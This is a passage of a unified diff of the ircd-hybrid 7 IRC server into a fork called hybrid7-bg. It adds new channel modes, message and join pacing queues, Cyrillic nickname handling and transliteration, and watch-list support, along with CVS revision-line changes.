+++ hybrid7-bg/src/adns.c	Tue Jun  5 12:35:46 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: adns.c,v 7.20 2001/04/24 21:33:42 androsyn Exp $
+ * $Id: adns.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  * adns.c  functions to enter libadns 
  *
  * Written by Aaron Sethman <androsyn@ratbox.org>
diff -uNrd ircd-hybrid-7beta5/src/channel.c hybrid7-bg/src/channel.c
--- ircd-hybrid-7beta5/src/channel.c	Wed May 16 14:47:29 2001
+++ hybrid7-bg/src/channel.c	Thu Jul 11 15:02:37 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: channel.c,v 7.216 2001/05/16 18:47:29 leeh Exp $
+ * $Id: channel.c,v 1.12 2002/07/11 19:02:37 Administrator Exp $
  */
 #include "tools.h"
 #include "channel.h"
@@ -82,6 +82,8 @@
 static int change_channel_membership(struct Channel *chptr,
 				     dlink_list *to_list, struct Client *who);
 
+static void clear_pace_queues(struct Channel *);
+
 /*
  * some buffers for rebuilding channel/nick lists with ,'s
  */
@@ -190,6 +192,9 @@
     case CHFL_INVEX:
       list = &chptr->invexlist;
       break;
+    case CHFL_SUBST:
+      list = &chptr->substlist;
+      break;
     default:
       sendto_realops_flags(FLAGS_ALL,
 			   "add_id() called with unknown ban type %d!", type);
@@ -259,6 +264,9 @@
     case CHFL_INVEX:
       list = &chptr->invexlist;
       break;
+    case CHFL_SUBST:
+      list = &chptr->substlist;
+      break;
     default:
       sendto_realops_flags(FLAGS_ALL,
 			   "del_id() called with unknown ban type %d!", type);
@@ -479,6 +487,19 @@
       }
     }
 
+  for (ptr = who->user->repeat.head; ptr; ptr = next_ptr) {
+	  struct Repeat *repeatptr = ptr->data;
+
+	  next_ptr = ptr->next;
+	  if (repeatptr->chptr == chptr) {
+
+		  MyFree(repeatptr->text); MyFree(repeatptr);
+		  dlinkDelete(ptr, &who->user->repeat);
+		  free_dlink_node(ptr);
+		  break;
+	  }
+  }
+
   who->user->joined--;
   
   if (IsVchan(chptr))
@@ -617,6 +638,22 @@
   if (chptr->mode.limit && chptr->users >= chptr->mode.limit)
     return (ERR_CHANNELISFULL);
 
+  if (RegNicksOnlyChannel(chptr) && !(source_p->svsflags & FLAGS_SVS_IDENT))
+    return (ERR_REGNICKSCHAN);
+
+  if (ConfigFileEntry.cyrillic && NoCyrNicksChannel(chptr))
+    {
+      char *p;
+      for (p = source_p->name; *p; p++)
+	{
+	  if ((unsigned char)*p >= 192)
+	    {
+	      return (ERR_NOCYRNICKCHAN);
+	      break;
+	    }
+	}
+    }  
+
   return 0;
 }
 
@@ -718,6 +755,9 @@
 
   if (chptr->mode.mode & MODE_MODERATED)
     return CAN_SEND_NO;
+
+  if (RegsMaySpeakChannel(chptr) && !(source_p->svsflags & FLAGS_SVS_IDENT))
+    return CAN_SEND_NOTREG;
   
   if (ConfigFileEntry.quiet_on_ban && MyClient(source_p) &&
      (is_banned(chptr, source_p) == CHFL_BAN))
@@ -761,6 +801,20 @@
     *mbuf++ = 'n';
   if (chptr->mode.mode & MODE_HIDEOPS)
     *mbuf++ = 'a';
+  if (chptr->mode.mode & MODE_NOCOLOR)
+    *mbuf++ = 'c';
+  if (chptr->mode.mode & MODE_REGCHAN)
+    *mbuf++ = 'r';
+  if (chptr->mode.mode & MODE_PACE)
+    *mbuf++ = 'x';
+  if (chptr->mode.mode & MODE_NOREPEAT)
+    *mbuf++ = 'z';
+  if (chptr->mode.mode & MODE_REGNICKS)
+    *mbuf++ = 'R';
+  if (chptr->mode.mode & MODE_REGSPEAK)
+    *mbuf++ = 'M';
+  if (chptr->mode.mode & MODE_CYRNICKS)
+    *mbuf++ = 'C';
   
   if (chptr->mode.limit)
   {
@@ -787,7 +841,7 @@
  * 		- char flag flagging type of mode i.e. 'b' 'e' etc.
  * 		- clear (remove all current modes, for ophiding, etc)
  * output	- NONE
- * side effects - sends +b/+e/+d/+I
+ * side effects - sends +b/+e/+w/+I
  *		  
  */
 static void send_mode_list(struct Client *client_p,
@@ -880,6 +934,9 @@
 
   if (IsCapable(client_p, CAP_IE))
     send_mode_list(client_p, chptr->chname, &chptr->invexlist, 'I', 0);
+
+  if (IsCapable(client_p, CAP_SW))
+    send_mode_list(client_p, chptr->chname, &chptr->substlist, 'w', 0);
 }
 
 /*
@@ -1064,6 +1121,8 @@
 #define SM_ERR_RESTRICTED       0x00000080      /* Restricted chanop */
 #define SM_ERR_RPL_I            0x00000100
 #define SM_ERR_RPL_D            0x00000200
+#define SM_ERR_NOTSERVICES      0x00000400      /* not from services client */
+#define SM_ERR_RPL_W			0x00000800
 
 /*
 ** Apply the mode changes passed in parv to chptr, sending any error
@@ -1084,7 +1143,8 @@
   int   whatt = MODE_ADD, the_mode = 0;
   int   done_s = NO, done_p = NO;
   int   done_i = NO, done_m = NO, done_n = NO, done_t = NO;
-  int   done_a = NO;
+  int   done_a = NO, done_c = NO, done_r = NO, done_R = NO;
+  int   done_M = NO, done_x = NO, done_C = NO, done_z = NO;
   
   struct Client *who;
   char  *curr = parv[0], c, *arg, plus = '+', *tmpc;
@@ -1102,6 +1162,9 @@
   char  modebuf_invex[MODEBUFLEN] = "";
   char  parabuf_invex[MODEBUFLEN] = "";
   
+  char  modebuf_subst[MODEBUFLEN] = "";
+  char  parabuf_subst[MODEBUFLEN] = "";
+  
   char  modebuf_hops[MODEBUFLEN] = "";
   char  parabuf_hops[MODEBUFLEN] = "";
   char  parabuf_hops_id[MODEBUFLEN] = "";
@@ -1118,6 +1181,9 @@
   char  *mbufw_invex = modebuf_invex;
   char  *pbufw_invex = parabuf_invex;
   
+  char  *mbufw_subst = modebuf_subst;
+  char  *pbufw_subst = parabuf_subst;
+  
   char *mbufw_hops = modebuf_hops;
   char *pbufw_hops = parabuf_hops;
   char *pbufw_hops_id = parabuf_hops_id;
@@ -1267,6 +1333,15 @@
           target_was_voice = is_voiced(chptr,who);
           target_was_op = target_was_chop | target_was_hop;
 
+		  if (find_z_conf((char *)who->user->server) && !IsOper(source_p)
+			  && (whatt == MODE_DEL) && (c == 'o') && target_was_chop) {
+
+			  if (MyClient(source_p))
+				sendto_one(source_p, form_str(ERR_CANTDEOPSERVICES),
+					me.name, source_p->name, who->name, chname);
+				break;
+		  }
+
           if (c == 'o')
 	    {
               /* convert attempts to -o a +h user into a -h
@@ -1418,6 +1493,7 @@
             {
               send_mode_list(who, chname, &chptr->exceptlist, 'e', 0);
               send_mode_list(who, chname, &chptr->invexlist, 'I', 0);
+              send_mode_list(who, chname, &chptr->substlist, 'w', 0);
             }
             else if (target_was_op && (whatt == MODE_DEL) &&
                      ((to_list != &chptr->chanops) &&
@@ -1425,6 +1501,7 @@
             {
               send_mode_list(who, chname, &chptr->exceptlist, 'e', 1);
               send_mode_list(who, chname, &chptr->invexlist, 'I', 1);
+              send_mode_list(who, chname, &chptr->substlist, 'w', 1);
             }
           }
 #endif
@@ -1571,6 +1648,78 @@
 
           break;
 
+        case 'w':
+          if (whatt == MODE_QUERY || parc-- <= 0)
+            {
+              if (!MyClient(source_p))
+                break;
+              if (errsent(SM_ERR_RPL_W, &errors_sent))
+                break;
+              /* don't allow a non chanop to see the subst word list
+               */
+              if(isok_c)
+                {
+                  for (ptr = chptr->substlist.head; ptr; ptr = ptr->next)
+		    {
+		      banptr = ptr->data;
+
+		      sendto_one(client_p, form_str(RPL_SUBSTLIST),
+				 me.name, client_p->name,
+				 chname,
+				 banptr->banstr,
+				 banptr->who,
+				 banptr->when);
+		    }
+
+                  sendto_one(source_p, form_str(RPL_ENDOFSUBSTLIST),
+                             me.name, source_p->name, 
+                             chname);
+                }
+		  else
+		{
+		   sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED),
+			     me.name, source_p->name, chname);
+		}
+              break;
+            }
+          arg = check_string(*parv++);
+
+          if (MyClient(source_p) && opcnt >= MAXMODEPARAMS)
+            break;
+
+          if (!isok_c)
+            {
+              if (!errsent(SM_ERR_NOOPS, &errors_sent) && MyClient(source_p))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED),
+                           me.name, source_p->name, 
+                           chname);
+              break;
+            }
+          
+          tmp = strlen(arg);
+          if (len + tmp + 2 >= MODEBUFLEN)
+            break;
+
+          if (!(((whatt & MODE_ADD) && !add_id(source_p, chptr, arg, CHFL_SUBST))
+		||
+                ((whatt & MODE_DEL) && !del_id(chptr, arg, CHFL_SUBST))))
+            break;
+
+          /* This stuff can go back in when all servers understand +w 
+           * with the pbufw_subst nonsense removed
+           */
+
+          len += tmp + 1;
+          opcnt++;
+
+          *mbufw_subst++ = plus;
+          *mbufw_subst++ = 'w';
+          strcpy(pbufw_subst, arg);
+          pbufw_subst += strlen(pbufw_subst);
+          *pbufw_subst++ = ' ';
+
+          break;
+
         case 'I':
           if (whatt == MODE_QUERY || parc-- <= 0)
             {
@@ -2183,6 +2332,281 @@
             }
           break;
 
+        case 'c' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_c)
+                break;
+              else
+                done_c = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_NOCOLOR;
+              *mbufw++ = '+';
+              *mbufw++ = 'c';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_NOCOLOR;
+              *mbufw++ = '-';
+              *mbufw++ = 'c';
+              len += 2;
+            }
+          break;
+
+        case 'z' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_z)
+                break;
+              else
+                done_z = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_NOREPEAT;
+              *mbufw++ = '+';
+              *mbufw++ = 'z';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_NOREPEAT;
+              *mbufw++ = '-';
+              *mbufw++ = 'z';
+              len += 2;
+            }
+          break;
+
+        case 'r':
+          if (!(IsServer(source_p) || find_z_conf((char *)source_p->user->server)))
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOTSERVICES, &errors_sent))
+		sendto_one(source_p,":%s NOTICE %s :*** NOTICE -- Chanmode +r can only be set by services",
+			   me.name, source_p->name);
+              break;
+	    }
+
+          if(MyClient(source_p))
+            {
+              if(done_r)
+                break;
+              else
+                done_r = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_REGCHAN;
+              *mbufw++ = '+';
+              *mbufw++ = 'r';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_REGCHAN;
+              *mbufw++ = '-';
+              *mbufw++ = 'r';
+              len += 2;
+            }
+          break;
+
+        case 'R' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_R)
+                break;
+              else
+                done_R = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_REGNICKS;
+              *mbufw++ = '+';
+              *mbufw++ = 'R';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_REGNICKS;
+              *mbufw++ = '-';
+              *mbufw++ = 'R';
+              len += 2;
+            }
+          break;
+
+        case 'C' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_C)
+                break;
+              else
+                done_C = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_CYRNICKS;
+              *mbufw++ = '+';
+              *mbufw++ = 'C';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_CYRNICKS;
+              *mbufw++ = '-';
+              *mbufw++ = 'C';
+              len += 2;
+            }
+          break;
+
+        case 'M' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_M)
+                break;
+              else
+                done_M = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_REGSPEAK;
+              *mbufw++ = '+';
+              *mbufw++ = 'M';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode &= ~MODE_REGSPEAK;
+              *mbufw++ = '-';
+              *mbufw++ = 'M';
+              len += 2;
+            }
+          break;
+
+        case 'x' :
+          if (!isok_c)
+            {
+              if (MyClient(source_p) && !errsent(SM_ERR_NOOPS, &errors_sent))
+                sendto_one(source_p, form_str(ERR_CHANOPRIVSNEEDED), me.name, 
+                           source_p->name, chname);
+              break;
+            }
+
+          if(MyClient(source_p))
+            {
+              if(done_x)
+                break;
+              else
+                done_x = YES;
+            }
+
+          if(whatt == MODE_ADD)
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+              chptr->mode.mode |= MODE_PACE;
+              *mbufw++ = '+';
+              *mbufw++ = 'x';
+              len += 2;
+            }
+          else
+            {
+              if (len + 2 >= MODEBUFLEN)
+                break;
+
+	      clear_pace_queues(chptr);
+
+              chptr->mode.mode &= ~MODE_PACE;
+              *mbufw++ = '-';
+              *mbufw++ = 'x';
+              len += 2;
+            }
+          break;
+
         default:
           if (whatt == MODE_QUERY)
             break;
@@ -2203,13 +2627,14 @@
   */
 
   *mbufw = *mbuf2w = *pbufw = *pbuf2w = *mbufw_ex = *pbufw_ex = 
-  *mbufw_invex = *pbufw_invex = 
+  *mbufw_invex = *pbufw_invex = *mbufw_subst = *pbufw_subst =
   *mbufw_hops = *pbufw_hops = *pbufw_id = *pbufw_hops_id = *pbuf2w_id = '\0';
 
   collapse_signs(modebuf);
   collapse_signs(modebuf2);
   collapse_signs(modebuf_ex);
   collapse_signs(modebuf_invex);
+  collapse_signs(modebuf_subst);
   collapse_signs(modebuf_hops);
   /* modebuf_aops only ever holds one mode */
 
@@ -2367,6 +2792,40 @@
     }	
 
   /*
+   * mode +w, seen by ops only.
+   * Only send remotely to servers with SW
+   */
+  if(*modebuf_subst)
+    {
+      if(IsServer(source_p))
+	sendto_channel_local(ONLY_CHANOPS_HALFOPS,
+			     chptr,
+			     ":%s MODE %s %s %s",
+			     me.name,
+			     chname,
+			     modebuf_subst, parabuf_subst);
+      else
+        sendto_channel_local(ONLY_CHANOPS_HALFOPS,
+                             chptr,
+                             ":%s!%s@%s MODE %s %s %s",
+                             source_p->name,
+                             source_p->username,
+                             source_p->host,
+                             chname,
+                             modebuf_subst, parabuf_subst);
+
+      sendto_match_cap_servs_nocap(chptr, client_p, CAP_SW, CAP_UID, 
+				   ":%s MODE %s %s %s",
+				   source_p->name, chptr->chname,
+				   modebuf_subst, parabuf_subst);
+      sendto_match_vacap_servs(chptr, client_p, CAP_SW, CAP_UID, 0,
+			     ":%s MODE %s %s %s",
+			     HasID(source_p) ? source_p->user->id : source_p->name,
+			     chptr->chname,
+			     modebuf_subst, parabuf_subst);
+    }	
+
+  /*
    * mode +h, seen only by chanops/halfops on +a channels
    * Only send remotely to servers with HOPS
    */
@@ -2563,6 +3022,170 @@
 }
 
 /*
+ * add to channel pace queues, join or part
+ */
+void add_pace(struct Channel *chptr, struct Client *client_p, 
+	      char *chname, int join, int shownames)
+{
+  struct Pace *pace = MyMalloc(sizeof(struct Pace) + strlen(chname));
+
+  strcpy(pace->nick, client_p->name);
+  strcpy(pace->user, client_p->username);
+  strcpy(pace->host, client_p->host);
+  strcpy(pace->chan, chname);
+
+  pace->next = NULL;
+  pace->shownames = shownames;
+
+  if (join)
+    {
+      if (chptr->joinh)
+	chptr->joinh->next = pace;
+      chptr->joinh = pace;
+      if (!chptr->joint)
+	chptr->joint = pace;
+
+      chptr->joins++;
+    }
+  else
+    {
+      if (chptr->parth)
+	chptr->parth->next = pace;
+      chptr->parth = pace;
+      if (!chptr->partt)
+	chptr->partt = pace;
+
+      chptr->parts++;
+    }
+}
+
+/*
+ * add to channel PRIVMSG/NOTICE pace queue
+ */
+void add_pace_msg(struct Channel *chptr, 
+		  struct Client *client_p, struct Client *source_p,
+		  char *command, char *text)
+{
+  struct Pace *pace = MyMalloc(sizeof(struct Pace) + strlen(chptr->chname));
+
+  strcpy(pace->nick, command);
+  strcpy(pace->user, client_p? client_p->name : "can this be NULL?");
+  strcpy(pace->host, source_p->name);
+  strcpy(pace->chan, chptr->chname);
+
+  pace->next = NULL;
+  pace->text = MyMalloc(strlen(text) + 1);
+  strcpy(pace->text, text);
+
+  if (chptr->msgh)
+    chptr->msgh->next = pace;
+  chptr->msgh = pace;
+  if (!chptr->msgt)
+    chptr->msgt = pace;
+
+  chptr->msgs++;
+}
+
+/*
+ * this will flush out pace queues every PACE_CHANNELS_TIME secs
+ */
+void pace_channels(void *blah)
+{
+  struct Channel *chptr;
+
+  for (chptr = GlobalChannelList; chptr; chptr = chptr->nextch)
+    {
+      if (!PaceChannel(chptr))
+	continue;
+
+      if (chptr->joins)
+	{
+	  struct Pace *pace = chptr->joint;
+	  struct Client *client_p = find_client(pace->nick, NULL);
+
+	  sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s JOIN :%s",
+			   pace->nick,
+			   pace->user,
+			   pace->host,
+			   pace->chan);
+	  if (client_p && pace->shownames)
+	    channel_member_names(client_p, chptr, pace->chan, 1);
+
+	  chptr->joint = pace->next;
+	  if (!pace->next)
+	    chptr->joinh = NULL;
+	  MyFree(pace);
+
+	  chptr->joins--;
+	}
+
+      if (chptr->parts)
+	{
+	  struct Pace *pace = chptr->partt;
+	  struct Client *client_p = find_client(pace->nick, NULL);
+
+	  sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s PART :%s",
+			   pace->nick,
+			   pace->user,
+			   pace->host,
+			   pace->chan);
+	  if (client_p)
+	    sendto_one(client_p, ":%s!%s@%s PART :%s",
+			   pace->nick,
+			   pace->user,
+			   pace->host,
+			   pace->chan);
+
+	  chptr->partt = pace->next;
+	  if (!pace->next)
+	    chptr->parth = NULL;
+	  MyFree(pace);
+
+	  chptr->parts--;
+	}
+
+      if (chptr->msgs)
+	{
+	  struct Pace *pace = chptr->msgt;
+	  struct Client *client_p = find_client(pace->user, NULL);
+	  struct Client *source_p = find_client(pace->host, NULL);
+	  struct Channel *vchan = hash_find_channel(pace->chan, NULL);
+
+	  if (client_p && source_p && vchan)
+	    sendto_channel_butone(client_p, source_p, vchan,
+                                  pace->nick, ":%s", pace->text);
+
+	  chptr->msgt = pace->next;
+	  if (!pace->next)
+	    chptr->msgh = NULL;
+	  MyFree(pace->text);
+	  MyFree(pace);
+
+	  chptr->msgs--;
+	}
+
+      if (chptr->sends)
+	{
+	  struct Pace *pace = chptr->sendt;
+	  struct Channel *vchan = hash_find_channel(pace->chan, NULL);
+
+	  if (vchan)
+	    sendto_chanlists_local(vchan, pace->text, pace->shownames);
+
+	  chptr->sendt = pace->next;
+	  if (!pace->next)
+	    chptr->sendh = NULL;
+	  MyFree(pace->text);
+	  MyFree(pace);
+
+	  chptr->sends--;
+	}
+    }
+
+  eventAdd("pace_channels", pace_channels, NULL, PACE_CHANNELS_TIME, 0);
+}
+
+/*
  * cleanup_channels
  *
  * inputs	- not used
@@ -2682,13 +3305,14 @@
   free_channel_list(&chptr->banlist);
   free_channel_list(&chptr->exceptlist);
   free_channel_list(&chptr->invexlist);
+  free_channel_list(&chptr->substlist);
 
   /* This should be redundant at this point but JIC */
   chptr->banlist.head = chptr->exceptlist.head =
-    chptr->invexlist.head = NULL;
+    chptr->invexlist.head = chptr->substlist.head = NULL;
 
   chptr->banlist.tail = chptr->exceptlist.tail =
-    chptr->invexlist.tail = NULL;
+    chptr->invexlist.tail = chptr->substlist.tail = NULL;
 
   if (chptr->prevch)
     chptr->prevch->nextch = chptr->nextch;
@@ -2699,9 +3323,50 @@
 
   MyFree(chptr->topic_info);
 
+  clear_pace_queues(chptr);
+
   del_from_channel_hash_table(chptr->chname, chptr);
   MyFree((char*) chptr);
   Count.chan--;
+}
+
+void clear_pace_queues(struct Channel *chptr)
+{
+  struct Pace *pace;
+
+  while (chptr->joint)
+    {
+      pace = chptr->joint;
+      chptr->joint = pace->next;
+      MyFree(pace);
+    }
+  chptr->joinh = NULL; chptr->joins = 0;
+
+  while (chptr->partt)
+    {
+      pace = chptr->partt;
+      chptr->partt = pace->next;
+      MyFree(pace);
+    }
+  chptr->parth = NULL; chptr->parts = 0;
+
+  while (chptr->msgt)
+    {
+      pace = chptr->msgt;
+      chptr->msgt = pace->next;
+      MyFree(pace->text);
+      MyFree(pace);
+    }
+  chptr->msgh = NULL; chptr->msgs = 0;
+  
+  while (chptr->sendt)
+    {
+      pace = chptr->sendt;
+      chptr->sendt = pace->next;
+      MyFree(pace->text);
+      MyFree(pace);
+    }
+  chptr->sendh = NULL; chptr->sends = 0;
 }
 
 /*
diff -uNrd ircd-hybrid-7beta5/src/class.c hybrid7-bg/src/class.c
--- ircd-hybrid-7beta5/src/class.c	Tue Apr 17 17:21:23 2001
+++ hybrid7-bg/src/class.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: class.c,v 7.28 2001/04/17 21:21:23 toot Exp $
+ *   $Id: class.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "tools.h"
 #include "class.h"
diff -uNrd ircd-hybrid-7beta5/src/client.c hybrid7-bg/src/client.c
--- ircd-hybrid-7beta5/src/client.c	Mon May 14 03:31:33 2001
+++ hybrid7-bg/src/client.c	Wed Jul 24 13:38:27 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: client.c,v 7.168 2001/05/14 07:31:33 a1kmm Exp $
+ *  $Id: client.c,v 1.8 2002/07/24 17:38:27 Administrator Exp $
  */
 #include "tools.h"
 #include "client.h"
@@ -504,7 +504,8 @@
   if (IsServer(client_p))
     {
       --Count.server;
-      sendto_realops_flags(FLAGS_EXTERNAL, "Server %s split from %s",
+      if (!IsRelay(client_p))
+	sendto_realops_flags(FLAGS_EXTERNAL, "Server %s split from %s",
                            client_p->name, client_p->servptr->name);
     }
   else if (IsClient(client_p))
@@ -1056,6 +1057,9 @@
           /* Clean up allow lists */
           del_all_accepts(source_p);
 
+		  /* poof goes their watchlist! */
+		  hash_del_watch_list(source_p);
+
 	  if (HasID(source_p))
 	    del_from_id_hash_table(source_p->user->id, source_p);
   
@@ -1068,6 +1072,10 @@
    */
   del_from_client_hash_table(source_p->name, source_p);
 
+  /* remove user from watchlists */
+  if(IsRegistered(source_p))
+	hash_check_watch(source_p, RPL_LOGOFF);
+
   /* remove from global client list */
   remove_client_from_list(source_p);
 
@@ -1803,14 +1811,20 @@
 
   /* Finally, add to hash */
   del_from_client_hash_table(source_p->name, source_p);
+
+  hash_check_watch(source_p, RPL_LOGOFF);
+
   strcpy(source_p->name, nick);
   add_to_client_hash_table(nick, source_p);
 
+  hash_check_watch(source_p, RPL_LOGON);
+
   /* Make sure everyone that has this client on its accept list
    * loses that reference. 
    */
 
   del_all_accepts(source_p);
+  source_p->svsflags &= ~FLAGS_SVS_IDENT;
 
   /*
    * .. and update the new nick in the fd note.
@@ -1844,6 +1858,8 @@
 {
   char* ch   = nick;
   char* endp = ch + NICKLEN;
+  int cyr = 0, lat = 0;
+ 
   assert(0 != nick);
 
   if (*nick == '-' || IsDigit(*nick)) /* first character in [0..9-] */
@@ -1851,11 +1867,64 @@
   
   for ( ; ch < endp && *ch; ++ch)
     {
-      if (!IsNickChar(*ch))
-	break;
+      if (ConfigFileEntry.cyrillic && ((unsigned char)*ch >= 192))
+	{
+	  if (lat)
+	    break;      /* do not allow mixed lat/cyr nicks */
+
+	  cyr = 1;
+	  continue;
+	}
+      if (IsNickChar(*ch))
+	{
+	  if (cyr && isalpha(*ch))
+	    break;
+
+	  if (isalpha(*ch))
+	    lat = 1;
+	  continue;
+	}
+
+      break;            /* invalid nick character */
     }
   *ch = '\0';
 
   return (ch - nick);
 }
 
+static char cyr2lat[] = {
+  'A', 'B', 'V', 'G', 'D', 'E', 'Z', 'Z', 'I', 'J', 'K', 'L', 'M', 'N',
+  'O', 'P', 'R', 'S', 'T', 'U', 'F', 'H', 'C', '4', '6', '@', 'Y', '#',
+  'J', '#', 'U', 'Q',
+  'a', 'b', 'v', 'g', 'd', 'e', 'z', 'z', 'i', 'j', 'k', 'l', 'm', 'n',
+  'o', 'p', 'r', 's', 't', 'u', 'f', 'h', 'c', '4', '6', '@', 'y', '#',
+  'j', '#', 'u', 'q'
+};
+
+/*
+ * this will transpose cyrillic characters 
+ * into their latin phonetic counterparts
+ *
+ *                                -demond
+ */
+char *translate(struct Client *client_p, char *buf)
+{
+  unsigned char *p = buf;
+  int i, offset;
+
+  if (IsSetTransWin(client_p))
+    offset = 192;
+  else if (IsSetTransISO(client_p))
+    offset = 176;
+  else
+    return buf;
+
+  while (*p)
+    {
+      if ((*p >= offset) && (*p < offset + 2*32))
+	*p = cyr2lat[*p - offset];
+      ++p;
+    }
+
+  return buf;
+}
diff -uNrd ircd-hybrid-7beta5/src/conf/CVS/Entries hybrid7-bg/src/conf/CVS/Entries
--- ircd-hybrid-7beta5/src/conf/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/conf/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+D
diff -uNrd ircd-hybrid-7beta5/src/conf/CVS/Repository hybrid7-bg/src/conf/CVS/Repository
--- ircd-hybrid-7beta5/src/conf/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/conf/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/src/conf
diff -uNrd ircd-hybrid-7beta5/src/conf/CVS/Root hybrid7-bg/src/conf/CVS/Root
--- ircd-hybrid-7beta5/src/conf/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/conf/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/dline_conf.c hybrid7-bg/src/dline_conf.c
--- ircd-hybrid-7beta5/src/dline_conf.c	Mon Apr  9 11:11:09 2001
+++ hybrid7-bg/src/dline_conf.c	Tue Jun  5 12:35:46 2001
@@ -2,7 +2,7 @@
  * A slightly nicer version of dline_conf.c
  * Written by Aaron Sethman <androsyn@ratbox.org>
  *
- * $Id: dline_conf.c,v 7.32 2001/04/09 15:11:09 davidt Exp $
+ * $Id: dline_conf.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include "config.h"
diff -uNrd ircd-hybrid-7beta5/src/event.c hybrid7-bg/src/event.c
--- ircd-hybrid-7beta5/src/event.c	Thu Apr 19 18:29:42 2001
+++ hybrid7-bg/src/event.c	Tue Jun  5 12:35:46 2001
@@ -3,7 +3,7 @@
  *
  * This code was borrowed from the squid web cache by Adrian Chadd.
  *
- * $Id: event.c,v 7.16 2001/04/19 22:29:42 a1kmm Exp $
+ * $Id: event.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  *
  * Original header follows:
  *
diff -uNrd ircd-hybrid-7beta5/src/fdlist.c hybrid7-bg/src/fdlist.c
--- ircd-hybrid-7beta5/src/fdlist.c	Mon Mar  5 21:22:57 2001
+++ hybrid7-bg/src/fdlist.c	Tue Jun  5 12:35:46 2001
@@ -3,7 +3,7 @@
  * fdlist.c   maintain lists of file descriptors
  *
  *
- * $Id: fdlist.c,v 7.23 2001/03/06 02:22:57 androsyn Exp $
+ * $Id: fdlist.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "fdlist.h"
 #include "client.h"  /* struct Client */
diff -uNrd ircd-hybrid-7beta5/src/fileio.c hybrid7-bg/src/fileio.c
--- ircd-hybrid-7beta5/src/fileio.c	Thu Jan 18 04:07:37 2001
+++ hybrid7-bg/src/fileio.c	Tue Jun  5 12:35:46 2001
@@ -4,7 +4,7 @@
